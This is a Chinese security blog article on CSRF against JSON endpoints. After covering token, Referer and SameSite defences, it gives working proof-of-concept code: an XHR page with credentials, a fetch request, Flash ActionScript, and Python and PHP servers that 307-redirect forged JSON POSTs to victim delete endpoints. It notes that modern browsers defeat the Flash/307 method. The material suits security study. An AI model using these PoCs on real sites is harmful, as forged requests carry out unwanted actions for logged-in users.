谈谈Json格式下的CSRF攻击

一、CSRF漏洞简介

csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

在post标准化格式(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,我们能很轻松地构造页面来实现攻击,但是在json格式下,csrf攻击怎么实现呢?

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

1.1 防御方案

关于防御方案,一般有如下几种:

1)用户操作验证,在提交数据时需要输入验证码

2)请求来源验证,验证请求来源的referer

3)表单token验证

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

例子:

第一步:用户访问某个表单页面。

第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

第三步:在页面表单附带上Token参数。

第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。

4) 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。

SameStie 有两个值:Strict 和 Lax:

SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。

SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。

那么Strict和Lax的如何使用呢?

登录态关键的 cookie 都可以设置为 Strict。

后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。

如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。

二、不验证CONTENT-TYPE的情况

如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:

<html>
 <head>
 <script style="text/javascript">
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
    }
   </script>
 </head>
  <body>
    
    <form action="#">
      <input type="button" value="Submit request" onClick="submitRequest()"/>
    </form>
  </body>
  
</html>

三、验证CONTENT-TYPE的情况

当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

fetch发起的请求代码:

<html>
<title>JSON CSRF POC</title>
<script>
    fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>

</form>
</html>

我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。

3.1 创建flash文件

为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:

安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。

创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。

获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的。

运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。

3.2 创建web服务器

1、使用python作为服务器(此方法不推荐):

先创建as文件,用上述步骤编译:

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
  public class csrf extends Sprite
  {
    public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 ={"id":102};
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String = "http://172.16.11.110:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = new URLLoader();
   try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

借助 GitHub上的json-flash-csrf-poc ,我们可以生成一个简单的python web服务器

pyserver.py:

import BaseHTTPServer
import time
import sys

HOST = '' 
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_POST(s):
       # dir(s)
        if s.path == '/csrf.swf':
           s.send_response(200)
           s.send_header("Content-Type","application/x-shockwave-flash")
           s.end_headers()
           s.wfile.write(open("csrf.swf", "rb").read())
           return 
        s.send_response(307)
        s.send_header("Location", "https://victim-site/userdelete")
        s.end_headers()
    def do_GET(s):
        print(s.path)
        s.do_POST()
    
if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST, PORT), RedirectHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

2、使用apache的php页面作为服务端(首选方法):

我们也可以使用php来作为307跳转的服务端,参考 GitHub上的swf_json_csrf

csrf.as:

package
{
   import flash.display.Sprite;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   import flash.net.URLRequestMethod;
   
   public class csrf extends Sprite
   {
       
      
      public function csrf()
      {
         super();
         var myJson:String = this.root.loaderInfo.parameters.jsonData;
         var url:String = this.root.loaderInfo.parameters.php_url;
         var endpoint:String = this.root.loaderInfo.parameters.endpoint;
         var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
         var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
         request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
         request.data = myJson;
         request.method = URLRequestMethod.POST;
         var urlLoader:URLLoader = new URLLoader();
         try
         {
            urlLoader.load(request);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
   }
}

307.php:

<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>

最后使用的poc是:

http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json

四、更进一步探索

当访问最后的POC,过程如下:

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

五、实际测试效果

这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。

参考链接

Exploiting JSON CSRF

如何在JSON端点上利用CSRF漏洞

*本文作者:shystartree,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章